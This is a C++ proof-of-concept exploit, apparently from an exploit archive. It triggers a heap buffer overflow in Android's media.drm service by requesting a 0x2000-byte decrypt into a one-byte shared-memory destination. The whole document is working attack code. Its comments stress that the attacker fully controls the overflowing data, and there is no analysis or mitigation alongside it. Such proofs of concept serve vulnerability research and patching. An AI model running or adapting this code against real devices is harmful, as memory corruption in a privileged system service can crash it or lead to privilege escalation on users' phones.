Android DRM Services – Buffer Overflow
#include <utils/StrongPointer.h> #include <binder/IServiceManager.h> #include <binder/MemoryHeapBase.h> #include <binder/MemoryBase.h> #include <binder/IMemory.h> #include <media/ICrypto.h> #include <media/IMediaDrmService.h> #include <media/hardware/CryptoAPI.h> #include <stdio.h> #include <unistd.h> using namespace android; static sp<ICrypto> getCrypto() { sp<IServiceManager> sm = defaultServiceManager(); sp<IBinder> binder = sm->getService(String16("media.drm")); sp<IMediaDrmService> service = interface_cast<IMediaDrmService>(binder); if (service == NULL) { fprintf(stderr, "Failed to retrieve 'media.drm' service.\n"); return NULL; } sp<ICrypto> crypto = service->makeCrypto(); if (crypto == NULL) { fprintf(stderr, "makeCrypto failed.\n"); return NULL; } return crypto; } static bool setClearKey(sp<ICrypto> crypto) { // A UUID which identifies the ClearKey DRM scheme. const uint8_t clearkey_uuid[16] = { 0x10, 0x77, 0xEF, 0xEC, 0xC0, 0xB2, 0x4D, 0x02, 0xAC, 0xE3, 0x3C, 0x1E, 0x52, 0xE2, 0xFB, 0x4B }; if (crypto->createPlugin(clearkey_uuid, NULL, 0) != OK) { fprintf(stderr, "createPlugin failed.\n"); return false; } return true; } #define DATA_SIZE (0x2000) #define DEST_OFFSET (1) static void executeOverflow() { // Get an interface to a remote CryptoHal object. sp<ICrypto> crypto = getCrypto(); if (crypto == NULL) { return; } if (!setClearKey(crypto)) { return; } // From here we're done with the preparations and go into the // vulnerability PoC. sp<MemoryHeapBase> heap = new MemoryHeapBase(DATA_SIZE); // This line is to merely show that we have full control over the data // written in the overflow. memset(heap->getBase(), 'A', DATA_SIZE); sp<MemoryBase> sourceMemory = new MemoryBase(heap, 0, DATA_SIZE); sp<MemoryBase> destMemory = new MemoryBase(heap, DATA_SIZE - DEST_OFFSET, DEST_OFFSET); int heapSeqNum = crypto->setHeap(heap); if (heapSeqNum < 0) { fprintf(stderr, "setHeap failed.\n"); return; } CryptoPlugin::Pattern pattern = { .mEncryptBlocks = 0, .mSkipBlocks = 1 }; ICrypto::SourceBuffer source = { .mSharedMemory = sourceMemory, .mHeapSeqNum = heapSeqNum }; // mNumBytesOfClearData is the actual size of data to be copied. CryptoPlugin::SubSample subSamples[] = { { .mNumBytesOfClearData = DATA_SIZE, .mNumBytesOfEncryptedData = 0 } }; ICrypto::DestinationBuffer destination = { .mType = ICrypto::kDestinationTypeSharedMemory, .mHandle = NULL, .mSharedMemory = destMemory }; printf("decrypt result = %zd\n", crypto->decrypt(NULL, NULL, CryptoPlugin::kMode_Unencrypted, pattern, source, 0, subSamples, ARRAY_SIZE(subSamples), destination, NULL)); } int main() { executeOverflow(); return 0; } |